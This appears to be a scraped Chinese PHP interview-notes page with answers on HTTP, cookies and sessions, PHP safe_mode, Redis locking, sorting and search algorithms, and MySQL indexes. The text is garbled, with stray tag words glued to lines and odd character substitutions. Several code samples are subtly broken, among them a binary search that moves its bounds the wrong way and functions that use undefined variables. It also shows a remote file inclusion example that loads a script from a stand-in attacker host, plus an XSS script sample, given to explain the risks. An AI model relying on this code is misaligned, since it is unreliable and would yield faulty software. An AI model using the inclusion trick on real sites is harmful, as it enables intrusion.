GET在浏览器回退时是无害的,而POST会再次提交请求。
GET产生的URL地址能够被Bookmark,而POST不能够。
GET请求会被浏览器主动cache,而POST不会,除非手动设置。
GET请求只能进行url编码,而POST支持多种编码方式。
GET请求参数会被完整保留在浏览器历史记录里,而POST中的参数不会被保留。
GET请求在URL中传送的参数是有长度限制的,而POST没有。
对参数的数据类型,GET只接受ASCII字符,而POST没有限制。
GET比POST更不安全,由于参数直接暴露在URL上,因此不能用来传递敏感信息。
GET参数经过URL传递,POST放在Request body中。
GET产生一个TCP数据包,POST产生两个TCP数据包。php
在Tcp链接中,服务端的SYN和ACK向客户端发送是一次性发送的,而在断开链接的过程当中,B端向A端发送的ACK和FIN是分两次发送的。由于在B端接收到A端的FIN后,B端可能还有数据要传输,因此先发送ACK,等B端处理完本身的事情后就能够发送FIN断开链接了。html
若是设置了过时时间,Cookie存在硬盘里
没有设置过时时间,Cookie存在内存里
4.COOKIE和SESSION的区别和关系#
COOKIE保存在客户端,而SESSION则保存在服务器端
从安全性来说,SESSION的安全性更高
从保存内容的类型的角度来说,COOKIE只保存字符串(及可以自动转换成字符串)
从保存内容的大小来看,COOKIE保存的内容是有限的,比较小,而SESSION基本上没有这个限制
从性能的角度来说,用SESSION的话,对服务器的压力会更大一些
SEEION依赖于COOKIE,但若是禁用COOKIE,也能够经过url传递mysql
设置seesion.cookie_lifetime有30分钟,并设置session.gc_maxlifetime为30分钟
本身为每个Session值增长timestamp
每次访问以前, 判断时间戳ios
消息队列
信号量+共享内存
信号
管道
socketnginx
静态方法是类中的一个成员方法,属于整个类,即便不用建立任何对象也能够直接调用!静态方法效率上要比实例化高,静态方法的缺点是不自动销毁,而实例化的则能够作销毁。git
ArrayAccess(数组式访问)接口github
function tail($file, $num) { $fp = fopen($file,"r"); $pos = -2; $eof = ""; $head = false; //当总行数小于Num时,判断是否到第一行了 $lines = array(); while ($num > 0) { while($eof != PHP_EOL){ if (fseek($fp, $pos, SEEK_END) == 0) { //fseek成功返回0,失败返回-1 $eof = fgetc($fp); $pos--; } else { //当到达第一行,行首时,设置$pos失败 fseek($fp, 0, SEEK_SET); $head = true; //到达文件头部,开关打开 break; } } array_unshift($lines, str_replace(PHP_EOL, '', fgets($fp))); if ($head) {//这一句,只能放上一句后,由于到文件头后,把第一行读取出来再跳出整个循环 break; } $eof = ""; $num--; } fclose($fp); return $lines; }
相同点: 当知足如下三个条件时,二者会输出相同信息。正则表达式
服务器为80端口
apache的conf中ServerName设置正确
HTTP/1.1协议规范
不一样点:redis
一般状况: $_SERVER["HTTP_HOST"] 在HTTP/1.1协议规范下,会根据客户端的HTTP请求输出信息。 $_SERVER["SERVER_NAME"] 默认状况下直接输出apache的配置文件httpd.conf中的ServerName值。
当服务器为非80端口时: $_SERVER["HTTP_HOST"] 会输出端口号,例如:coffeephp.com:8080 $_SERVER["SERVER_NAME"] 会直接输出ServerName值 所以在这种状况下,能够理解为:$_SERVER['HTTP_HOST'] = $_SERVER['SERVER_NAME'] : $_SERVER['SERVER_PORT']
当配置文件httpd.conf中的ServerName与HTTP/1.0请求的域名不一致时: httpd.conf配置以下:算法
<virtualhost *> ServerName github.com ServerAlias blog.github.com </virtualhost>
客户端访问域名 blog.github.com $_SERVER["HTTP_HOST"] 输出 blog.github.com $_SERVER["SERVER_NAME"] 输出github.com
当safe_mode=On时,会出现下面限制:
函数名 | 限制 |
---|---|
dbmopen() | 检查被操做的文件或目录是否与正在执行的脚本有相同的 UID(全部者)。 |
dbase_open() | 检查被操做的文件或目录是否与正在执行的脚本有相同的 UID(全部者)。 |
filepro() | 检查被操做的文件或目录是否与正在执行的脚本有相同的 UID(全部者)。 |
filepro_rowcount() | 检查被操做的文件或目录是否与正在执行的脚本有相同的 UID(全部者)。 |
filepro_retrieve() | 检查被操做的文件或目录是否与正在执行的脚本有相同的 UID(全部者)。 |
ifx_* sql_safe_mode | 限制, (!= safe mode) |
ingres_* sql_safe_mode | 限制, (!= safe mode) |
mysql_* sql_safe_mode | 限制, (!= safe mode) |
pg_loimport() | 检查被操做的文件或目录是否与正在执行的脚本有相同的 UID(全部者)。 |
posix_mkfifo() | 检查被操做的目录是否与正在执行的脚本有相同的 UID(全部者)。 |
putenv() | 遵循 ini 设置的 safe_mode_protected_env_vars 和 safe_mode_allowed_env_vars 选项。请参考 putenv() 函数的有关文档。 |
move_uploaded_file() | 检查被操做的文件或目录是否与正在执行的脚本有相同的 UID(全部者)。 |
chdir() | 检查被操做的目录是否与正在执行的脚本有相同的 UID(全部者)。 |
dl() | 本函数在安全模式下被禁用。 |
backtick operator | 本函数在安全模式下被禁用。 |
shell_exec() | (在功能上和 backticks 函数相同) 本函数在安全模式下被禁用。 |
exec() | 只能在 safe_mode_exec_dir 设置的目录下进行执行操做。基于某些缘由,目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被做用于此函数的参数上。 |
system() | 只能在 safe_mode_exec_dir 设置的目录下进行执行操做。基于某些缘由,目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被做用于此函数的参数上。 |
passthru() | 只能在 safe_mode_exec_dir 设置的目录下进行执行操做。基于某些缘由,目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被做用于此函数的参数上。 |
popen() | 只能在 safe_mode_exec_dir 设置的目录下进行执行操做。基于某些缘由,目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被做用于此函数的参数上。 |
fopen() | 检查被操做的目录是否与正在执行的脚本有相同的 UID(全部者)。 |
mkdir() | 检查被操做的目录是否与正在执行的脚本有相同的 UID(全部者)。 |
rmdir() | 检查被操做的目录是否与正在执行的脚本有相同的 UID(全部者)。 |
rename() | 检查被操做的文件或目录是否与正在执行的脚本有相同的 UID(全部者)。 检查被操做的目录是否与正在执行的脚本有相同的 UID(全部者)。 |
unlink() | 检查被操做的文件或目录是否与正在执行的脚本有相同的 UID(全部者)。 检查被操做的目录是否与正在执行的脚本有相同的 UID(全部者)。 |
copy() | 检查被操做的文件或目录是否与正在执行的脚本有相同的 UID(全部者)。 检查被操做的目录是否与正在执行的脚本有相同的 UID(全部者)。 (on source and target ) |
chgrp() | 检查被操做的文件或目录是否与正在执行的脚本有相同的 UID(全部者)。 |
chown() | 检查被操做的文件或目录是否与正在执行的脚本有相同的 UID(全部者)。 |
chmod() | 检查被操做的文件或目录是否与正在执行的脚本有相同的 UID(全部者)。 另外,不能设置 SUID、SGID 和 sticky bits |
touch() | 检查被操做的文件或目录是否与正在执行的脚本有相同的 UID(全部者)。 检查被操做的目录是否与正在执行的脚本有相同的 UID(全部者)。 |
symlink() | 检查被操做的文件或目录是否与正在执行的脚本有相同的 UID(全部者)。 检查被操做的目录是否与正在执行的脚本有相同的 UID(全部者)。 (注意:仅测试 target) |
link() | 检查被操做的文件或目录是否与正在执行的脚本有相同的 UID(全部者)。 检查被操做的目录是否与正在执行的脚本有相同的 UID(全部者)。 (注意:仅测试 target) |
apache_request_headers() | 在安全模式下,以“authorization”(区分大小写)开头的标头将不会被返回。 |
header() | 在安全模式下,若是设置了 WWW-Authenticate,当前脚本的 uid 将被添加到该标头的 realm 部分。 |
PHP_AUTH 变量 | 在安全模式下,变量 PHP_AUTH_USER、PHP_AUTH_PW 和 PHP_AUTH_TYPE 在 $_SERVER 中不可用。但不管如何,您仍然可使用 REMOTE_USER 来获取用户名称(USER)。(注意:仅 PHP 4.3.0 之后有效) |
highlight_file(), show_source() | 检查被操做的文件或目录是否与正在执行的脚本有相同的 UID(全部者)。 检查被操做的目录是否与正在执行的脚本有相同的 UID(全部者)。 (注意,仅在 4.2.1 版本后有效) |
parse_ini_file() | 检查被操做的文件或目录是否与正在执行的脚本有相同的 UID(全部者)。 检查被操做的目录是否与正在执行的脚本有相同的 UID(全部者)。 (注意,仅在 4.2.1 版本后有效) |
set_time_limit() | 在安全模式下不起做用。 |
max_execution_time | 在安全模式下不起做用。 |
mail() | 在安全模式下,第五个参数被屏蔽。 |
function write($str) { $fp = fopen($file, 'a'); do { usleep(100); } while (!flock($fp, LOCK_EX)); fwrite($fp, $str . PHP_EOL); flock($fp, LOCK_UN); fclose($fp); }
如今任一个黑客如今均可以用:http://www.yourdomain.com/index.php?p=anyfile.txt
来获取你的机密信息,或执行一个PHP脚本。 若是allow_url_fopen=On,你更是死定了: 试试这个输入:http://www.yourdomain.com/index.php?p=http://youaredoomed.com/phphack.php
如今你的网页中包含了http://www.youaredoomed.com/phphack.php
的输出. 黑客能够发送垃圾邮件,改变密码,删除文件等等。只要你能想获得。
jwt或验证签名
function check_ip($ip) { if (!filter_var($ip, FILTER_VALIDATE_IP)) { return false; } else { return true; } }
function check_datetime($datetime) { if (date('Y-m-d H:i:s', strtotime($datetime)) === $datetime) { return true; } else { return false; } }
$text = '<script>alert('XSS')</script>'; $pattern = '<script.*>.*<\/script>/i'; $text = preg_replace($pattern, '', $text);
第一种方案:被动过时+cron,就是用户查看的时候去数据库查有没有支付+定时清理。 第二种方案:延迟性任务,到时间检查订单是否支付成功,若是没有支付则取消订单
思路:用redis的队列
$ttl = 4; $random = mt_rand(1,1000).'-'.gettimeofday(true).'-'.mt_rand(1,1000); $lock = fasle; while (!$lock) { $lock = $redis->set('lock', $random, array('nx', 'ex' => $ttl)); } if ($redis->get('goods.num') <= 0) { echo ("秒杀已经结束"); //删除锁 if ($redis->get('lock') == $random) { $redis->del('lock'); } return false; } $redis->decr('goods.num'); echo ("秒杀成功"); //删除锁 if ($redis->get('lock') == $random) { $redis->del('lock'); } return true;
//ip2long,把全部城市的最小和最大Ip录进去 $redis_key = 'ip'; $redis->zAdd($redis_key, 20, '#bj');//北京的最小IP加# $resid->zAdd($redis_key, 30, 'bj');//最大IP function get_ip_city($ip_address) { $ip = ip2long($ip_address); $redis_key = 'ip'; $city = zRangeByScore($redis_key, $ip, '+inf', array('limit' => array(0, 1))); if ($city) { if (strpos($city[0], "#") === 0) { echo '城市不存在!'; } else { echo '城市是' . $city[0]; } } else { echo '城市不存在!'; } }
/** * 反转数组 * @param array $arr * @return array */ function reverse($arr) { $n = count($arr); $left = 0; $right = $n - 1; while ($left < $right) { $temp = $arr[$left]; $arr[$left++] = $arr[$right]; $arr[$right--] = $temp; } return $arr; }
/** * 寻找两个有序数组里相同的元素 * @param array $arr1 * @param array $arr2 * @return array */ function find_common($arr1, $arr2) { $common = array(); $i = $j = 0; $count1 = count($arr1); $count2 = count($arr2); while ($i < $count1 && $j < $count2) { if ($arr1[$i] < $arr2[$j]) { $i++; } elseif ($arr1[$i] > $arr2[$j]) { $j++; } else { $common[] = $arr[$i]; $i++; $j++; } } return array_unique($common); }
/** * 打乱数组 * @param array $arr * @return array */ function custom_shuffle($arr) { $n = count($arr); for ($i = 0; $i < $n; $i++) { $rand_pos = mt_rand(0, $n - 1); if ($rand_pos != $i) { $temp = $arr[$i]; $arr[$i] = $arr[$rand_pos]; $arr[$rand_pos] = $temp; } } return $arr; }
function number_alphabet($str) { $number = preg_split('/[a-z]+/', $str, -1, PREG_SPLIT_NO_EMPTY); $alphabet = preg_split('/\d+/', $str, -1, PREG_SPLIT_NO_EMPTY); $n = count($number); for ($i = 0; $i < $count; $i++) { echo $number[$i] . ':' . $alphabet[$i] . '</br>'; } } $str = '1a3bb44a2ac'; number_alphabet($str);//1:a 3:bb 44:a 2:ac
思路: 1.(质数筛选定理)n不可以被不大于根号n的任何质数整除,则n是一个质数
2.除了2的偶数都不是质数
代码以下:
/** * 求n内的质数 * @param int $n * @return array */ function get_prime($n) { $prime = array(2);//2为质数 for ($i = 3; $i <= $n; $i += 2) {//偶数不是质数,步长能够加大 $sqrt = intval(sqrt($i));//求根号n for ($j = 3; $j <= $sqrt; $j += 2) {//i是奇数,固然不能被偶数整除,步长也能够加大。 if ($i % $j == 0) { break; } } if ($j > $sqrt) { array_push($prime, $i); } } return $prime; } print_r(getPrime(1000));
相关题目:一群猴子排成一圈,按1,2,…,n依次编号。而后从第1只开始数,数到第m只,把它踢出圈,从它后面再开始数, 再数到第m只,在把它踢出去…,如此不停的进行下去, 直到最后只剩下一只猴子为止,那只猴子就叫作大王。要求编程模拟此过程,输入m、n, 输出最后那个大王的编号。
/** * 获取大王 * @param int $n * @param int $m * @return int */ function get_king_mokey($n, $m) { $arr = range(1, $n); $i = 0; while (count($arr) > 1) { $i++; $survice = array_shift($arr); if ($i % $m != 0) { array_push($arr, $survice); } } return $arr[0]; }
思路:假设最前面的1000个数为最小的,算出这1000个数中最大的数,而后和第1001个数比较,若是这最大的数比这第1001个数小的话跳过,若是要比这第1001个数大则将两个数交换位置,并算出新的1000个数里面的最大数,再和下一个数比较,以此类推。
代码以下:
//寻找最小的k个数 //题目描述 //输入n个整数,输出其中最小的k个。 /** * 获取最小的k个数 * @param array $arr * @param int $k [description] * @return array */ function get_min_array($arr, $k) { $n = count($arr); $min_array = array(); for ($i = 0; $i < $n; $i++) { if ($i < $k) { $min_array[$i] = $arr[$i]; } else { if ($i == $k) { $max_pos = get_max_pos($min_array); $max = $min_array[$max_pos]; } if ($arr[$i] < $max) { $min_array[$max_pos] = $arr[$i]; $max_pos = get_max_pos($min_array); $max = $min_array[$max_pos]; } } } return $min_array; } /** * 获取最大的位置 * @param array $arr * @return array */ function get_max_pos($arr) { $pos = 0; for ($i = 1; $i < count($arr); $i++) { if ($arr[$i] > $arr[$pos]) { $pos = $i; } } return $pos; } $array = [1, 100, 20, 22, 33, 44, 55, 66, 23, 79, 18, 20, 11, 9, 129, 399, 145, 2469, 58]; $min_array = get_min_array($array, 10); print_r($min_array);
代码以下:
/** * 二分查找 * @param array $array 数组 * @param int $n 数组数量 * @param int $value 要寻找的值 * @return int */ function binary_search($array, $n, $value) { $left = 0; $right = $n - 1; while ($left <= $right) { $mid = intval(($left + $right) / 2); if ($value > $array[$mid]) { $right = $mid + 1; } elseif ($value < $array[$mid]) { $left = $mid - 1; } else { return $mid; } } return -1; }
思路:二分查找
/** * 获取绝对值最小的元素 * @param array $arr * @return int */ function get_min_abs_value($arr) { $n = count($arr); //若是符号相同,直接返回 if (is_same_sign($arr[0], $arr[$n - 1])) { return $arr[0] >= 0 ? $arr[0] : $arr[$n - 1]; } //二分查找 $left = 0; $right = $n - 1; while ($left <= $right) { if ($left + 1 === $right) { return abs($arr[$left]) < abs($arr[$right]) ? $arr[$left] : $arr[$right]; } $mid = intval(($left + $right) / 2); if ($arr[$mid] < 0) { $left = $mid + 1; } else { $right = $mid - 1; } } } /** * 判断符号是否相同 * @param int $a * @param int $b * @return boolean */ function is_same_sign($a, $b) { if ($a * $b > 0) { return true; } else { return false; } }
思路:动态规划
function three_sum($arr) { $n = count($arr); $return = array(); for ($i=0; $i < $n; $i++) { $left = $i + 1; $right = $n - 1; while ($left <= $right) { $sum = $arr[$i] + $arr[$left] + $arr[$right]; if ($sum < 0) { $left++; } elseif ($sum > 0) { $right--; } else { $numbers = $arr[$i] . ',' . $arr[$left] . ',' . $arr[$right]; if (!in_array($numbers, $return)) { $return[] = $numbers; } $left++; $right--; } } } return $return; } $arr = [-10, -9, -8, -4, -2, 0, 1, 2, 3, 4, 5, 6, 9]; var_dump(three_sum($arr));
思路:动态规划
/** * 获取最大的连续和 * @param array $arr * @return int */ function max_sum_array($arr) { $currSum = 0; $maxSum = 0;//数组元素全为负的状况,返回最大数 $n = count($arr); for ($i = 0; $i < $n; $i++) { if ($currSum >= 0) { $currSum += $arr[$i]; } else { $currSum = $arr[$i]; } } if ($currSum > $maxSum) { $maxSum = $currSum; } return $maxSum; }
chmod u=r 文件名
awk '{print $1}' /var/log/access.log | sort | uniq | wc -l
推荐篇文章,讲awk实际使用的shell在手分析服务器日志不愁
监听方式 | 形式 | nginx连接fastcgi方式 |
---|---|---|
端口监听 | fastcgi_pass 127.0.0.1:9000 | TCP连接 |
文件监听 | fastcgi_pass /tmp/php_cgi.sock | Unix domain Socket |
不管是初次链接仍是从新链接,当创建一个从服务器时,从服务器都将从主服务器发送一个SYNC命令。接到SYNC命令的主服务器将开始执行BGSAVE,并在保存操做执行期间,将全部新执行的命令都保存到一个缓冲区里面,当BGSAVE执行完毕后,主服务器将执行保存操做所获得的.rdb文件发送给从服务器,从服务器接收这个.rdb文件,并将文件中的数据载入到内存中。以后主服务器会以Redis命令协议的格式,将写命令缓冲区中积累的全部内容都发送给从服务器。
缓存命中率 = get_hits/cmd_get * 100%
一致性Hash
Memcache
Redis
MyISAM快,由于MyISAM自己就记录了数量,而InnoDB要扫描数据
有一个复合索引:INDEX(
a,
b,
c)
使用方式 | 可否用上索引 |
---|---|
select * from users where a = 1 and b = 2 | 能用上a、b |
select * from users where b = 2 and a = 1 | 能用上a、b(有MySQL查询优化器) |
select * from users where a = 2 and c = 1 | 能用上a |
select * from users where b = 2 and c = 1 | 不能 |
聚簇索引的叶节点就是数据节点,而非聚簇索引的页节点仍然是索引检点,并保留一个连接指向对应数据块。
主键索引 PRIMARY
普通索引 INDEX
惟一索引 UNIQUE
全文索引 FULLTEXT
举例说明:
CREATE TABLE `user` ( `id` int(11) unsigned NOT NULL AUTO_INCREMENT, `name` varchar(10) CHARACTER SET latin1 DEFAULT NULL, `idcard` varchar(18) CHARACTER SET latin1 DEFAULT NULL, `phone` varchar(10) CHARACTER SET latin1 DEFAULT NULL, `addres` varchar(50) CHARACTER SET latin1 DEFAULT NULL, `remak` text CHARACTER SET latin1, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8;
id 做为主键,使用 PRIMARY
name 若是须要创建索引就创建普通索引用于搜索使用,INDEX
idcard 做为用户身份证信息是惟一的,能够选择使用UNIQUE
remak 做为备注信息,若是须要索引的话,短文章可使用普通索引(INDEX),常温的话能够能够选着全文索引(FULLTEXT)
ALTER table user add PRIMARY KEY("id") ALTER table user add index("name") ALTER table user add UNIQUE("idcard") ALTER table user add FULLTEXT ("remak")